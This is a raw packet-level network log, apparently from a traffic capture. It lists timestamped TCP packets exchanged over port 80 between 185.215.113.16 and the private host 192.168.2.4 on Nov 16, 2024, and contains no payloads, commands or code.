Nov 16, 2024 20:12:37.472670078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472691059 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.472722054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472755909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472788095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472809076 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.472822905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472834110 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.472856998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472893000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472920895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472923040 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.472965002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.473311901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.473324060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.473360062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.473372936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.473393917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.473443985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.473592043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.473619938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.473671913 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.475729942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.475783110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.475816011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.475832939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.475915909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.475956917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476001978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.476006031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476043940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476054907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.476078033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476109982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476152897 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.476161003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476193905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476207972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.476227999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476259947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476306915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.476463079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476511955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.476512909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476547003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476578951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476613998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476628065 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.476659060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.476859093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476908922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476942062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476974964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.476994991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.477008104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.477019072 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.477042913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.477294922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.477344036 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.477345943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.477379084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.477390051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.477411985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.477444887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.477490902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.490176916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.524260044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.524348021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.524383068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.524399996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.524418116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.524435043 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.524451971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.524486065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.524518967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.524533033 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.524559021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.524564028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.527650118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.527697086 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.527698994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.527734995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.527766943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.527801991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.527810097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.527847052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.528182030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.528215885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.528249979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.528259993 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.536359072 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.571939945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.571994066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.572016954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.572029114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.572062016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.572082996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.572096109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.572154045 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599217892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599271059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599323034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599340916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599375010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599407911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599426031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599437952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599477053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599483013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599488974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599524021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599555969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599561930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599590063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599613905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599626064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599700928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599720001 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599741936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599773884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599843025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599874973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599885941 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599908113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599914074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.599941015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599972963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.599980116 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.600006104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600039005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600070953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600080013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.600105047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600111008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.600138903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600179911 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.600585938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600636005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600684881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600718975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600727081 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.600752115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600760937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.600802898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600836039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600841045 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.600869894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600902081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600934982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600946903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.600969076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.600975990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.601003885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.601620913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.601658106 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.601663113 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.601692915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.601708889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.601742029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.601774931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.601784945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.601808071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.601841927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.601875067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.601882935 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.601908922 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.613548994 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.645562887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.645621061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.645668030 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.645684958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.645698071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.645733118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.645737886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.645768881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.645801067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.645836115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.645848989 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.645874023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.645898104 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.649396896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.649430990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.649465084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.649477959 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.649501085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.649513006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.649538040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.649595022 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.649730921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.649764061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.649796963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.649810076 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.673274040 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.693783998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.693841934 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.693849087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.693886995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.693918943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.693955898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.693970919 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.693986893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.694011927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.717310905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.717355013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.717369080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.717398882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.717485905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.717559099 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.721375942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721410036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721462011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721489906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.721507072 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.721512079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721560955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721592903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721626043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721635103 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.721659899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721672058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.721693993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721728086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721761942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721769094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.721827984 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.721852064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721895933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721929073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721961975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.721972942 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.721995115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722004890 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.722170115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722206116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722243071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.722244024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722276926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722285032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.722321987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722368956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.722373962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722423077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722470045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722502947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722507000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.722542048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722553015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722579002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.722587109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722594023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.722620010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722685099 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.722697020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722749949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722781897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722786903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.722817898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722856045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.722863913 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.723069906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723155975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723176956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.723189116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723239899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723244905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.723293066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723355055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723390102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723398924 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.723421097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.723423004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723455906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723468065 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.723490000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723496914 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.723558903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723608017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723640919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723647118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.723681927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.723726034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723757982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.723799944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.767369986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.767405987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.767441034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.767462969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.767493963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.767528057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.767565966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.767570972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.767579079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.767607927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.767612934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.767647028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.767654896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.771265984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771300077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771322966 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.771357059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771413088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771445990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771455050 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.771488905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.771495104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771528959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771558046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771589994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771608114 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.771622896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.771631002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.815524101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.815565109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.815587997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.815623045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.815659046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.815691948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.815711021 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.815728903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.815737009 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.839150906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.839184999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.839207888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.839220047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.839255095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.843203068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843274117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843358040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843394041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843415976 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.843441963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.843446970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843481064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843514919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843548059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843561888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.843581915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843596935 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.843631983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.843683004 CET	80	49744	185.215.113.16	192.168.2.4
